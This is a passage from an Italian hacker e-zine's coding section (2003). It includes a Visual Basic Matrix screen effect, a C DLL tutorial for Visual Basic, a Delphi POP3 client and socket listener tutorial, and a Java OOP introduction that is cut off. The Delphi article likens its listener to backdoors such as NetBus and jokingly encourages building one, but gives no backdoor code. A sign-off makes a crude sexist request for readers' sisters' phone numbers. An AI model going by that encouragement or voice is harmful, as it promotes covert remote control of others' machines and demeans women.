| poi è sempre 10 colonne a sinistra della stringa incisa a caso). |
| Dulcis in fundo...TimeLet!! Ha una variabile a se stante che è una |
| matrice di due e ci mette un numero e una lettera maiuscola e poi li |
| lancia in caduta libera lungo colonne a caso, per poi ripartire da caso |
| una volta arrivata al punto in cui rilascia la sua variabile. |
| |
| ...Ti ho tanto amata...vaffanculo, stronza!!... |
| |
| Allora...non ci credo...Ho finito... |
| |
| ...La battaglia per il Fosso di Helm è appena finita, la guerra per la |
| Terra di Mezzo sta per cominciare... |
| |
| Ecco qua di seguito i codici sorgenti del programmino MATRIX che ho |
| realizzato...se seguirete attentamente le mie istruzioni di cui sopra |
| funzionerà tutto alla perfezione...come vi ho detto non sarà uguale ma |
| molto simile...a voi il compito di migliorarlo, se vi va (fatevelo |
| andare, per favore)... |
| |
| ------------------------------------------------------MATRIX------------ |
| ------------------------------------------------------------------ |
| |
| Dim j(19) As Integer |
| Dim z(19) As Integer |
| Dim counter(19) As Integer |
| Dim timestr1 As Integer |
| Dim timestr2 As Integer |
| Dim zstr As Integer |
| Dim jstr As Integer |
| Dim zlet(1) As Integer |
| Dim jlet(1) As Integer |
| Dim varlet(1) As String |
| Dim countlet(1) As Integer |
| Dim sost As Integer |
| Dim varcas As String |
| Dim xpoint As Integer |
| Dim ypoint As Integer |
| |
| Function TimeGen(col As Integer, riga As Integer) As String |
| Randomize |
| Line (col, riga)-(col + 1, riga + 1), RGB(0, 0, 0), BF |
| PSet (col, riga) |
| Print Chr(Rnd * 255) |
| Line (col, riga)-(col + 1, riga + 1), RGB(0, 0, 0), B |
| TimeGen = Chr(Rnd * 255) |
| End Function |
| |
| Function TimeCanc(col As Integer, riga As Integer) As String |
| Line (col, riga)-(col + 1, riga + 1), RGB(0, 0, 0), BF |
| TimeCanc = Chr(Rnd * 255) |
| End Function |
| |
| Private Sub TimeLet_Timer() |
| Randomize |
| For i = 0 To 1 |
| If jlet(i) > countlet(i) Or zlet(i) = 0 Then |
| zlet(i) = Rnd * ScaleWidth |
| jlet(i) = 0 |
| countlet(i) = Rnd * (ScaleHeight - 2) |
| If i = 0 Then |
| Do |
| X = CInt(Rnd * 57) |
| varlet(i) = Chr(X) |
| Loop While (X < 48) |
| Else |
| Do |
| X = CInt(Rnd * 90) |
| varlet(i) = Chr(X) |
| Loop While (X < 65) |
| End If |
| End If |
| Line (zlet(i), jlet(i) - 1)-(zlet(i) + 1, jlet(i)), RGB(0, 0, 0), BF |
| Line (zlet(i), jlet(i) - 1)-(zlet(i) + 1, jlet(i)), RGB(0, 0, 0), B |
| Line (zlet(i), jlet(i))-(zlet(i) + 1, jlet(i) + 1), RGB(0, 0, 0), BF |
| PSet (zlet(i), jlet(i)) |
| Print varlet(i) |
| Line (zlet(i), jlet(i))-(zlet(i) + 1, jlet(i) + 1), RGB(0, 0, 0), B |
| jlet(i) = jlet(i) + 1 |
| Next i |
| End Sub |
| |
| Private Sub TimeSost_Timer() |
| Randomize |
| Dim xpos As Integer |
| Dim ypos As Integer |
| tryagain: |
| xpos = z(sost) |
| ypos = Rnd * counter(sost) |
| If ypos > j(sost) Then |
| GoTo tryagain |
| Else |
| Line (xpos, ypos)-(xpos + 1, ypos + 1), RGB(0, 0, 0), BF |
| PSet (xpos, ypos) |
| Print varcas |
| Line (xpos, ypos)-(xpos + 1, ypos + 1), RGB(0, 0, 0), B |
| End If |
| sost = sost + 1 |
| If sost > 19 Then sost = 0 |
| End Sub |
| |
| Private Sub Timer_Timer(index As Integer) |
| Randomize |
| If j(index) < counter(index) Then |
| varcas = TimeGen(z(index), j(index)) |
| ElseIf j(index) > counter(index) And j(index) < ScaleHeight Then |
| varcas = TimeCanc(z(index), j(index)) |
| Else |
| z(index) = Rnd * ScaleWidth |
| j(index) = -1 |
| counter(index) = Rnd * ScaleHeight |
| End If |
| j(index) = j(index) + 1 |
| If j(index) = counter(index) Then j(index) = j(index) + 1 |
| End Sub |
| |
| Private Sub TimeStr_Timer() |
| Randomize |
| If (timestr1 = 0 And timestr2 = 0) Or jstr > (ScaleHeight + 10) Then |
| timestr1 = Rnd * ScaleHeight / 2 |
| timestr2 = timestr1 + 18 |
| zstr = Rnd * (ScaleWidth - 15) |
| jstr = 0 |
| End If |
| If jstr < timestr1 Or jstr > timestr2 Then |
| varcas = TimeCanc(zstr, jstr) |
| Else |
| varcas = TimeGen(zstr, jstr) |
| End If |
| varcas = TimeGen((zstr + 15), jstr) |
| Line ((zstr + 15), jstr - 10)-((zstr + 15) + 1, jstr - 9), RGB(0, 0, |
| 0), BF |
| Line ((zstr + 15), jstr - 10)-((zstr + 15) + 1, jstr - 9), RGB(0, 0, |
| 0), B |
| jstr = jstr + 1 |
| End Sub |
| |
| Private Sub Form_DblClick() |
| End |
| End Sub |
| |
| |
| --------------------------------------------------------------END------- |
| --------------------------------------------------------------------- |
| |
| E così...anke i codici sorgenti sono finiti...non ho più niente da |
| dirvi (per ora) e quindi non mi resta che salutarvi...se qualcuno fosse |
| preso dalla voglia di migliorare il mio programma o magari scriverlo |
| nuovo, sarei felice se mandasse sulla mia e-mail (in fondo) ogni |
| eventuale modifica o nuova stesura del codice sorgente (anke in altri |
| linguaggi). |
| Per eventuali delucidazioni (senti qua che paroloni) scrivetemi pure... |
| Se avete una sorella bona scrivetemi a maggior ragione e presto e |
| magari mandate anke il numero del cellulare (di lei, ovvio)... |
| |
| Ok...vi saluto... |
| Grazie a tutti per l'ascolto... |
| Ah...ehy, Screener, visto che non sei il solo a usare questo cavolo di |
| linguaggio? ;) |
| |
| A presto... |
| |
| ...Au Revoir...fatevi sentire... |
| |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @@@@@@@@@@@@@@@@@ ------"Pupi"------ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @@@@@@@@@@@@@@@@ -Toscaio@Hotmail.com- @@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| CREARE UNA DLL iN C PER ViSUAL BASiC [cyberdude] 0x10/0x20 |
+--------------------------------------------------------------------------+
| |
| _____________________________________ |
| CREARE UNA DLL IN C PER VISUAL BASIC |
| _____________________________________ |
| ___________________by_Cyberdude______ |
| |
| Ciao a tutti ragazzi... sto a casa mia in veranda, come al solito |
| avanti alla mia postazione (il PC) domani tengo il compito di |
| matematica anche se forse non entriamo perchè non siamo molto |
| capaci di farlo!Comunque non è questo che ci interessa tra un pò |
| dovrebbero venire Michele e Luciano a studiare qui perchè dobbiam |
| ripetere la matematica! Voi direte e a noi cosa ce ne frega? beh |
| penso proprio che abbiate ragione, non è altro che un cazzuto di |
| intro schifoso, comunque se proprio volete saperlo, sto scrivendo |
| quello che mi esce dalla testa per occupare un pò di tempo perchè |
| mentre non vengono i miei amici non so che fare! |
| |
| Allora, di cosa vi parlo? Partiamo dal presupposto che questo |
| articolo devo inviarlo ad una crew per pubblicarlo su chi sa quale |
| E-zine! Certo potrebbe succedere anche che questo testo venga |
| cestinato direttamente ma comunque penso di dover parlare di qualche |
| cosa che riguarda l'informatica... ihihih che bello la mia materia |
| preferita! |
| |
| Dunque vediamo un pò...datemi un pò di tempo che ci penso e vi |
| faccio sapere di cosa parleremo!! |
| |
| Ecco ci sono vi spiegherò come creare una DLL in C per Visual Basic |
| che ne dite vi piace? beh penso che se lo state leggendo vi piace |
| perchè metterò come titolo proprio questo : |
| |
| CREARE UNA DLL IN C PER VISUAL BASIC |
| |
| Allora prima di iniziare vorrei farvi una premessa,Creare una DLL |
| in C per Visual Basic può sembrare quanto di più controverso e labile |
| possibile, ma in realtà non è così e questo articolo spiega proprio |
| come fare fornendo codice sia in C, per la creazione della DLL, sia |
| in Visual Basic, che usufruisce della DLL stessa |
| |
| NAturalmente belli miei se non sapete programmare in C fate come me... |
| prima di leggere questo tutorial leggetevi prima una guida sulle |
| basi del C ok? |
| |
| Detto questo direi di passare direttamente ad analizzare il codice |
| |
| Osservate questa funzione che esegue la somma di un array: |
| ---Codice--- |
| /* DLL di dimostrazione su come fare la somma di un array dichiarato |
| in Visual Basic e passato in Microsoft Visual C++ 4.0 */
|
| extern "C" __declspec (dllexport) long __stdcall SommaArray(short |
| *Array,long Elementi) |
| { |
| long SommaParziale=0; |
| long ElementoCorrente; |
| |
| for (ElementoCorrente=0;ElementoCorrente<Elementi;ElementoCorrente++) |
| { |
| SommaParziale+=Array[ElementoCorrente]; |
| } |
| return SommaParziale; |
| } |
| ---Fine Codice--- |
| Ovviamente, prima di scrivere questo codice in un file di testo, |
| bisogna creare un’area di progetto, facendo riferimento al proprio |
| compilatore, che prevede come output proprio una Libreria a |
| Collegamento Dinamico (DLL = Dynamic Link Library). |
| |
| Ora, per chiarire meglio la situazione, iniziamo col commendare il |
| codice che compone questa funzione C. |
| |
| extern "C" __declspec (dllexport) long __stdcall SommaArray(short |
| *Array,long Elementi) |
| Questa riga qui sopra è la dichiarazione della funzione. Quando si |
| dichiara una funzione non è necessario utilizzare una riga di così |
| tanti elementi, ma se bisogna fare un DLL ed è necessario che le |
| routine sia pubblica, bisogna specificare tali elementi per forza. |
| |
| extern "C" - È necessario per rendere il nome della funzione conforme |
| al tipo C, e non al C++ che tende ad incasinare le dichiarazioni con |
| una moltitudine di simboli proprietari. |
| |
| __declspec (dllexport) - È necessario perché fa in modo che la routine |
| sia pubblica e possa essere accessibile da un programma esterno che |
| chiama la DLL. |
| |
| __stdcall - È necessario perché il Visual Basic vuole le chiamate |
| secondo le convenzioni stdcall. |
| |
| SommaArray è il nome della funzione. |
| |
| Il primo parametro fra le parentesi tonde è un puntatore (il simbolo |
| dell'asterisco * ne è l'indicatore) ad un array di interi a 16 bit |
| (per questo c'è short) ed ha nome Array. Il secondo parametro è invece |
| una semplice variabile di nome elementi di tipo long integer. Non |
| avremo bisogno di dichiarare successivamente queste variabili nel |
| codice; l’indicazione nella dichiarazione della funzione è più che |
| sufficiente. |
| |
| Tutto chiaro? spero proprio di si perchè se è così passerei oltre... |
| vediamo un poco come funziona il codice C ok? |
| |
| Le prime due righe |
| long SommaParziale=0; |
| long ElementoCorrente; |
| Sono le dichiarazioni di due piccole variabili che useremo per fare |
| la somma (SommaParziale) e per fare la conta degli elementi |
| dell’array (ElementoCorrente). In particolare, la prima viene |
| inizializzata a zero, cosa che, contrariamente a Visual Basic, il |
| C non fa automaticamente. La seconda variabile non ha necessità di |
| essere inizializzata poiché verrà inizializzata fra un attimo. |
| Proseguendo nel codice otteniamo un ciclo for non molto dissimile dal |
| classico for…next di Visual Basic: |
| |
| for (ElementoCorrente=0;ElementoCorrente<Elementi;ElementoCorrente++) |
| { |
| SommaParziale+=Array[ElementoCorrente]; |
| } |
| return SommaParziale; |
| |
| Le uniche differenze sono nella sintassi, infatti viene specificato |
| prima la condizione iniziale di una variabile (qui inizializziamo |
| la variabile ElementoCorrente a 0, cosa che non avevamo fatto nella |
| dichiarazione della stessa), poi la condizione per cui il ciclo |
| debba essere ripetuto (ElementoCorrente deve essere necessariamente |
| minore del numero degli Elementi) e poi l'operazione da effettuare |
| ad ogni nuovo ciclo (e cioè aumentare di 1 il valore di |
| ElementoCorrente). |
| |
| A questo punto (SommaParziale+=Array[ElementoCorrent]) si può leggere |
| dal puntatore e fare la somma di tutti i valori. La nostra variabile, |
| preventivamente dichiarata a zero, ora risulta molto utile per contare. |
| Da notare, inoltre, che il C, invece delle parentesi tonde, usa le |
| parentesi quadre per indicare un elemento di una matrice. |
| |
| L’ultima riga (return SommaParziale) fa in modo che la funzione torni |
| il valore delle somme. |
| Questo è tutto! Ora abbiamo una funzione in C che, se compilata, da’ |
| luogo ad una DLL con cui Visual Basic, se opportunamente istruito, |
| è ben lieto di lavorare. |
| |
| Con Visual Basic le cose si fanno per un attimo più dure, ma non c’è |
| da preoccuparsi, non è nulla di grave: come prima cosa bisognerà |
| dichiarare la funzione come appartenente ad una DLL (esattamente |
| come succede con le API di Windows) per poi poterla utilizzare |
| nel codice come se fosse esattamente una Function di Visual Basic. |
| Il problema più grosso è nella dichiarazione, ma come ho già |
| spiegato trova facile soluzione. |
| |
| La dichiarazione della funzione C và fatta nella sezione generale |
| di un form oppure di un modulo, a seconda della globalità che si |
| desidera e deve somigliare a ciò che segue: |
| Private Declare Function SommaArray Lib "Array.dll" |
| Alias "_SommaArray@8" (ByRef PuntaArray As Integer, ByVal Elementi |
| As Long) As Long. Questa è la dichiarazione per la funzione |
| SommaArray presente nella DLL Array.dll precedentemente compilata. |
| |
| L'alias della funzione è necessario perché il tipo di chiamata |
| STDCALL (quello che abbiamo definito quando abbiamo scritto la |
| funzione in C, il solo che Visual Basic riesce ad agganciare) |
| modifica leggermente il nome della funzione aggiungendo alcuni |
| particolari. I problemi sorgono proprio qui, tuttavia non è |
| difficile ricavare l'alias. Infatti al nome della funzione |
| (SommaArray) va aggiunto un trattino basso prima (Quindi |
| diventa _SommaArray) e una chiocciola alla fine (Quindi _SommaArray@). |
| Dopo la chiocciola va aggiunto un numero che è pari al numero di |
| argomenti (qui ne abbiamo due: PuntaArray e Elementi) da passare per |
| il valore 4, quindi 4*2=8. (Quindi _SommaArray@8). La moltiplicazione |
| Per 4 è usata dal compilatore per allineare gli argomenti in 4 byte |
| per volta. Ciò avviene per minimizzare l’overhead, infatti i |
| processori, a partire dal Pentium, gradiscono molto l’allineamento |
| dword (double word, una word sono 2 byte, quindi due word sono 4 |
| byte). |
| |
| Molta attenzione richiedono le maiuscole e le minuscole, infatti |
| con sistemi operativi a 32 bit (Quali Win9x, WinNT, etc…) le |
| funzioni sono case-sensitive. Altra cosa importantissima è quella |
| di specificare sempre il tipo di valore tornato dalla funzione alla |
| fine della dichiarazione (in questo caso è un long)! Se ciò non |
| avviene, potreste incorrere in fastidiosissimi errori di pagina non |
| valida che rendono impossibile l’esecuzione del programma. |
| |
| Infine è da notare come i due parametri della funzione (PuntaArray |
| e Elementi) siano passati uno come ByRef e l'altro come ByVal. |
| Infatti quando si passa un parametro (o argomento) come ByRef vuol |
| dire che il C dovrà aspettarsi un puntatore in memoria, mentre se |
| passiamo un parametro con ByVal, vuol dire che la funzione C aspetta |
| non un puntatore, ma un valore vero e proprio. |
| |
| E adesso eccovi qui il codice |
| |
| 'Creiamo l'array di 100 elementi di interi a 16 bit |
| Dim Array_Prova(1 To 100) As Integer |
| Dim i As Long |
| Dim Somma As Long |
| |
| 'Inseriamo nell'array i numeri da 1 a 100 |
| For i = 1 To 100 |
| Array_Prova(i) = i |
| Next i |
| |
| 'Ed ora calcoliamo la somma con la funzione C |
| Somma = SommaArray(Array_Prova(1), 100) |
| 'L'array è passato con l'indice 1 perché inizia con il valore 1. |
| '100 è il numero degli elementi dell'array. |
| |
| Label2.Caption = Somma |
| 'Mostra sullo schermo la somma che dovrebbe essere pari a 5050. |
| |
| |
| L’unico dettaglio che mi preme far notare è quello riguardante |
| proprio la chiamata della funzione: il primo parametro Array_Prova |
| è indicato con l’indice 1 perché è un’array che inizia da 1 e fisce |
| a 100; in altro caso avrebbe avuto l’indice del primo elemento |
| dell’array. Se si erra con questo parametro, Visual Basic notifica |
| l’errore e permette quindi di correggerlo; tuttavia il secondo |
| parametro è più delicato, infatti il C non conosce di quanti |
| elementi sia il nostro array, quindi dobbiamo essere molto precisi |
| nell’indicarlo perché se minore al numero reale, otterremo dei |
| risultati falsati, mentre se maggiore non mi stupirei affatto di |
| un errore di pagina non valida con relativa chiusura di Visual |
| Basic nel peggiore dei casi (quasi sempre). Comunque, ad ogni modo, |
| prestate sempre molta attenzione a questo parametro. |
| |
| Giunti a questo punto io vi saluto... ho passato un pò di tempo e |
| dopo 90 minuti (1 ora e mezza) si sono fatte le 3 quindi tra |
| pochissimo arrivano i miei amici e si riprende la solita vita fatta |
| di studio !! che palle |
| |
| Ciao a tutti |
| Cyberdude |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| iNTERNET APPLiCATI0N iN DELPHi [cyberdude] 0x11/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| -------------------------------------------------------- |
| CYBERDUDE TUTORIAL >>> DELPHI |
| -------------------------------------------------------- |
| |
| In questo articolo parleremo di |
| |
| >> INTERNET APPLICATION IN DELPHI |
| Siamo pronti? direi di non perdere altro tempo e di far |
| presto a iniziare!! |
| |
| Schiattatevi nella testa questa introduzione e poi si |
| inizia ... Delphi offre, senza dubbio, l’approccio più |
| semplice per sfruttare tutti i servizi che Internet ci |
| offre. Alcuni sono utilizzabili "a naso" e non |
| necessitano di alcuna spiegazione. La guida in linea |
| offre esempi completi, molto esaurienti. Non aspettatevi |
| dunque, di trovare una guida sull’utilizzo di nmftp, |
| nmpop3 o simili, poiché ne rimarrete delusi. Vedremo, |
| invece, come ottenere gli stessi risultati con un |
| maggiore controllo utilizzando i protocolli classici, |
| in primis il tcp (Transmission Control Protocol). Buona |
| lettura! |
| |
| In questo paragrafo, vedremo come controllare se abbiamo |
| nuova posta e come leggerla. Dovremo basarci sul |
| protocollo pop3 (post office protocol). E’ di certo il |
| più semplice, perché composto da soli pochi comandi. |
| Non li vedremo tutti, ma solo quelli che serviranno ai |
| nostri scopi. Lascio ai più curiosi l’esplorazione |
| totale di questi argomenti. I due componenti da |
| trascinare sul form (che serviranno sempre) saranno due: |
| TNMMsg e TServerSocket. Entrambe le classi (una fornita |
| da NetMasters e l’altra da Borland) hanno le stesse |
| funzioni, pertanto ho deciso di usarle entrambe, una in |
| veste di client, l’altra di socket. Vediamo, ora, le |
| proprietà più rilevanti di tali componenti. |
| Host=l’indirizzo Ip o il nome del server a cui |
| intendiamo connetterci. Port= la porta su cui |
| trasmetteremo i nostri dati. ReportLevel = il grado di |
| dettaglio con cui ci saranno presentate le stringhe di |
| risposta del server; è sempre bene settarlo con un |
| valore superiore a zero. Timeout = il tempo limite che |
| il componente aspetterà una risposta del server prima di |
| chiudere la connessione; zero indica l’assenza di un |
| valore limite. |
| |
| procedure TForm1.Button1Click(Sender: TObject); |
| //procedura per connettersi |
| |
| begin |
| |
| msgout.Host := 'mail.posta.net; |
| //server di posta |
| |
| msgout.Port := 110; |
| //pop3 |
| |
| msgout.TimeOut := 15000; |
| //aspettiamo risposte dal server 15 sec prima di |
| disconnetterci |
| |
| msgout.ReportLevel := 2; |
| //così ci saranno date le risposte del server |
| |
| msgout.Connect; |
| //ci connettiamo |
| |
| end; |
| |
| |
| |
| procedure TForm1.Button2Click(Sender: TObject); |
| //procedura per leggere |
| |
| begin |
| msgout.SendBuffer('user username' + #13 + #10, 64); |
| sleep(1500); |
| //username |
| |
| msgout.SendBuffer('pass password' + #13 + #10, 64); |
| sleep(1500); |
| //password |
| |
| msgout.SendBuffer('stat' + #13 + #10,64); sleep(1500); |
| //situazione attuale |
| |
| msgout.SendBuffer('retr 1' + #13 + #10,64); sleep(3500); |
| //visualizza i messaggi |
| |
| msgout.SendBuffer('dele 1' + #13 + #10,64); |
| //cancella il messaggio |
| |
| end; |
| |
| |
| procedure TForm1.Button3Click(Sender: TObject); |
| //procedura per disconnettersibegin |
| |
| msgout.Disconnect; |
| //ci disconnettiamo |
| |
| end; |
| |
| |
| |
| I commenti posti sotto le righe di codice rendono |
| inutile ogni spiegazione ulteriore. Da notare l’invio, |
| dopo ogni stringa, dei caratteri 13 e 10, cioè la |
| simulazione della pressione del tasto <Invio>. A questo |
| punto, sarete anche in grado di inviare una e-mail o |
| mandare messaggi ai newsgroup. Tuttavia, l’approccio |
| presentato non è il migliore: inviare una stringa ogni |
| n secondi non va bene per un’applicazione seria. Infatti |
| dovremmo spedire ogni volta che il server risponde. |
| Basta comunque dare un’occhiata all’evento OnStatus, |
| per vedere che è proprio ciò che stavamo cercando. |
| Vediamo, ora, come simulare un server che, alla |
| ricezione di una stringa, la visualizza in una TextBox. |
| Innanzi tutto, aggiungiamo sulla maschera un controllo |
| TServerSocket e settiamo a 1024 la proprietà Port: |
| |
| procedure TForm1.FormCreate(Sender: TObject); |
| begin |
| servSock.Active := true; |
| //allo start up mettiamo il server in ascolto |
| end; |
| |
| procedure TForm1.servSockClientRead(Sender: TObject; |
| Socket: |
| TCustomWinSocket); |
| begin |
| strClient.Lines.Add(Socket.ReceiveText); |
| //mettiamo in un memo ciò che riceviamoend; |
| |
| procedure TForm1.servSockAccept(Sender: TObject; Socket: |
| TCustomWinSocket); |
| begin |
| strClient.Lines.Add('Connected'); |
| //avvertiamo l’utente dell’avvenuta connessione |
| end; |
| |
| |
| Tre righe! Incredibile, no?Nulla vieta di poter |
| rispondere…e da ciò si capisce che sarà anche |
| relativamente facile realizzare una piccola chat.Adesso, |
| immaginate di scrivere un client che invia delle |
| stringhe a un server posto su un pc di un vostro amico. |
| Tale server prende il buffer e, a seconda di ciò che |
| riceve, esegue delle operazioni sul pc. Non vi viene in |
| mente nulla? Ma certo che sì… le backdoors (tipo back |
| orifice, netbus etc.) funzionano proprio così. |
| |
| In pratica ragazzi,non sono per nulla difficili da |
| realizzare, né da usare. Potrei dilungarmi con tanti |
| altri esempi, ma continuerei a mostrarvi listati sempre |
| simili, con le uniche modifiche necessarie per sfruttare |
| l’uno o l’altro protocollo. Meglio lasciare a voi la |
| palla... divertitevi pure hihihihhi :) |
| |
| Volete anche le conclusioni di questo tutorial? e io ve |
| le do ... tutti i linguaggi offrono un modo più o meno |
| personalizzabile/semplice da usare. Delphi è sicuramente |
| il più adatto. Infatti potrete scegliere se usare |
| pacchetti preconfezionati tipo NMPOP3, oppure |
| personalizzare maggiormente il lavoro, usando |
| l’incapsulamento dei socket o, addirittura, scegliere |
| di lanciarsi tra le API nude e crude di winsock32.dll. |
| Nulla vieta poi di mischiare le possibilità. |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| 00P [warfare] 0x12/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Introduzione alla programmazione ad oggetti (OOP) |
| |
| Intro: Questo articolo introduce la programmazione ad oggetti tramite |
| il |
| linguaggio Java, siccome non prevede la spiegazione della |
| programmazione |
| di base, si preferisce una minima conoscenza del Java o del C/C++ (dato |
| che sono molto simili nella sintassi di base). |
| |
| Per introdurre la programmazione ad oggetti ho deciso di utilizzare uno |
| dei linguaggi più diffusi, il Java. Java è un potente linguaggio di |
| programmazione general-purpose, possiede un altissimo grado di |
| portabilità ("Write Once, Run Anywhere") che consente di eseguire |
| applicazioni indipendentemente dalla macchina o sistema operativo |
| utilizzato. Prima di partire con la spiegazione ritengo opportuno, |
| siccome questo articolo è dedicato a chi inizia a programmare "ad |
| oggetti"
(OOP - Object Oriented Programming), spiegare le differenze |
| con |
| la programmazione tradizionale. |
| |
| Di solito un programma è un'insieme di istruzioni eseguite in modo |
| "procedurale", cioè il programma è un'insieme di procedure che vengono |
| utilizzate per un determinato scopo. L'idea di base della OOP è quella |
| di strutturare un programma in modo da sembrare il più vicino alla |
| realtà. Ma che cos'è un oggetto? Un oggetto è "un oggetto reale"... per |
| esempio una radio. Ad esempio di una radio abbiamo delle |
| caratteristiche |
| del tipo: |
| |
| Volume: 4 |
| Canale: 105 |
| Accesa: SI |
| Colore: Nera |
| Produttore: Pannasonic |
| |
| Abbiamo così una radio in particolare, ma quello che ora ci interessa è |
| estrarre un modello generale valido per ogni radio, infatti tutte le |
| radio hanno un volume, un canale su cui si sintonizza, è accesa |
| (si/no), |
| un colore e un produttore. Il modello generale dell'oggetto radio lo |
| chiamiamo Classe Radio. Da questa classe "madre", possiamo creare |
| (istanziare) oggetti particolari dando alle istanze della classe dei |
| valori (volume=4, canale=105 ecc..). |
| |
| Oggetto: Radio |
| |
| +----------+-------+ |
| |Attributi | Tipo | |
| +----------+-------+ |
| |Volume | Num. | |
| +----------+-------+ |
| |Canale | Num. | |
| +----------+-------+ |
| |Acceso | Bool | |
| +----------+-------+ |
| |Prod. | String| |
| +----------+-------+ |
| |
| |
| Ogni oggetto oltre ad avere degli attributi, può compiere anche delle |
| azioni, nel nostro caso accendersi, cambiare canale, |
| aumentare/diminuire |
| il volume. Queste azioni vengono chiamate metodi. Per un buon stile di |
| programmazione, di solito gli attributi vengono dichiarati in modo tale |
| che non possono essere "visti" all'esterno della classe, ma per essere |
| modificati bisogna richiamare dei metodi di visibilità più ampia che mi |
| permettono di impostare i valori degli attributi. Le keywords "private" |
| e "public" mi permettono di modificare lo scope (la visibilità) di un |
| membro (metodo o attributo) della classe. Se io dichiaro un membro |
| "private" posso richiamare il metodo solo nella stessa classe ma non al |
| di fuori di essa, al contrario "public" mi consente di far richiamare |
| il |
| membro all'esterno della classe (esiste un'altro modificatore di |
| visibilità, il "private" che vedremo poi, ma posso accennare che è una |
| via di mezzo fra il private e il public). Vediamo ora un esempio molto |
| semplice di programmazione di un esempio di classe in Java prendendo in |
| considerazione la classe Radio. |
| |
| |
| |
| // nomefile: Radio.Java |
| |
| public class Radio{ |
| private int volume; |
| private int canale; |
| private boolean accesa; |
| |
| // - Metodi - |
| public void accendi(){ |
| accesa = true; |
| } |
| |
| public void spegni(){ |
| accesa = false; |
| } |
| |
| public void setVolume(int volume){ |
| this.volume = volume; |
| } |
| |
| public void setCanale(int canale){ |
| this.canale = canale; |
| } |
| |
| public void stampaRadio(){ |
| System.out.print("Accesa: " + accesa + "\n"); |
| System.out.print("Canale: " + canale + "\n"); |
| System.out.print("Volume: " + volume + "\n"); |
| } |
| } |
| |
| // nomefile: provaRadio.Java |
| |
| public class provaRadio{ |
| public static void main(String[] args){ |
| Radio r0; |
| r0 = new Radio(); |
| r0.accendi(); |
| r0.setVolume(4); |
| r0.setCanale(105); |
| r0.spegni(); |
| } |
| } |
| |
| Ok... vediamo di spiegare qualche riga di questo programmino che non fa |
| nient'altro che creare un'istanza della classe radio e eseguire qualche |
| "azione". Partiamo dall'inizio. - nomefile: Radio.Java - Dopo la prima |
| riga in cui viene definita la visibilità della classe e il suo nome |
| (che |
| deve essere uguale al nome del file) abbiamo la dichiarazione degli |
| attributi della radio in forma <visibilità> <tipo> <nome_attributo> |
| [<valore>] e subito

  
dopo ci sono i metodi in forma <visibilità> <tipo> |
| <nome_metodo> [<parametri formali>]. Il programma non dovrebbe essere |
| di |
| difficile comprensione per chi ha un minimo di esperienza di |
| programmazione quindi non mi dilungo molto e passo a parlare della |
| keyword this che appare per la prima volta nel metodo setVolume. "this" |
| fa riferimento all'oggetto corrente e viene utilizzato quando sorge |
| ambiguità con nomi delle variabili. Prendendo in esame il metodo public |
| void setVolume(int volume) possiamo notare che ho dichiarato un |
| parametro con nome uguale a un attributo dichiarato in precedenza. Se |
| io |
| nell'istruzione precedente avessi scritto volume = volume; al posto di |
| this.volume = volume non avrei impostato il valore della variabile |
| d'istanza uguale al valore del parametro del metodo. Infatti il |
| compilatore in questo modo, quando nel codice del metodo trova una |
| variabile cerca il riferimento più vicino che in questo caso sarebbe |
| stato quello del parametro del setVolume, quindi se come dicevo prima |
| avessi fatto volume = volume; e gli avessi passato 3 a setVolume avrei |
| ottenuto una cosa del genere 3 = 3 che non mi sarebbe servita a nulla. |
| Con la parola chiave this, posta davanti al nome della variabile |
| volume, |
| faccio riferimento alla variabile d'istanza volume e quindi posso |
| impostare il suo valore uguale al parametro passato. |
| - nomefile: provaRadio.Java - La prima cosa che salta all'occhio è il |
| fatto che abbiamo un'altra parola chiave prima del tipo del metodo main |
| che è static. Per il momento "prendetela per buono" e passiamo a |
| parlare |
| di cosa fa il metodo main (che penso tutti sappiate di che metodo si |
| tratta...). La prima istruzione è "Radio r0" che crea una variabile di |
| nome r0 destinata a contenere un'indirizzo di memoria di una futura |
| istanza della classe Radio che per ora punta a null, cioè non |
| referenzia |
| nulla. La seconda istruzione r0 = new Radio() crea un'istanza della |
| classe Radio im memoria e la fa referenziare da r0, quindi ora r0 |
| contiene un'indirizzo di memoria. Dopo ciò penso sia tutto chiaro, r0 |
| che è un'oggetto puo' accedere ai metodi d'istanza e eseguire delle |
| azioni dichiarate in precedenza. Ora apro una parentesi sui metodi per |
| quanto riguarda i seguenti argomenti: "passaggio di argomenti per |
| valore |
| e per riferimento"
e "overloading di metodi". Per quanto riguarda il |
| passaggio di argomenti per valore e per riferimento possiamo dire che i |
| metodi che ricevono dei parametri sostanzialmente ricevono due tipi di |
| dati, primitivi (int, char, boolean, long,...) oppure possono riceve |
| variabili contenenti indirizzi di memoria che si riferiscono a zone di |
| memoria. Rispettivamente in Java nel primo caso si parla di passaggio |
| per valore, nel senso che se io ho una situazione del tipo |
| |
| void volume(){ |
| int n = 4; |
| setVolume(n); |
| } |
| void setVolume(int volume){ |
| volume++; |
| } |
| |
| passo il parametro attuale (n) a setVolume che si crea una nuova |
| variabile in memoria e copia il valore di n nella nuova variabile, |
| questo comporta che le variazioni della nuova variabile non comportano |
| nessun cambiamento alla variabile n (che nel nostro caso rimarrà sempre |
| 4), ma ci permetterà di utilizzare il suo valore. Al contrario |
| |
| ... |
| void metodo(){ |
| Radio r0; |
| r0 = new Radio(); |
| setVolume(r0); |
| r0.stampaRadio(); |
| } |
| void setVolume(Radio r){ |
| r.setVolume(4); |
| } |
| ... |
| // (si veda l'esempio della classe Radio per avre un'idea più completa) |
| |
| Passando il riferimento dell'istanza della classe Radio, ho una nuova |
| variabile che punta alla stessa zona di memoria della precedente, il |
| che |
| comporta la modifica, nel nostro caso del volume, infatti se noi |
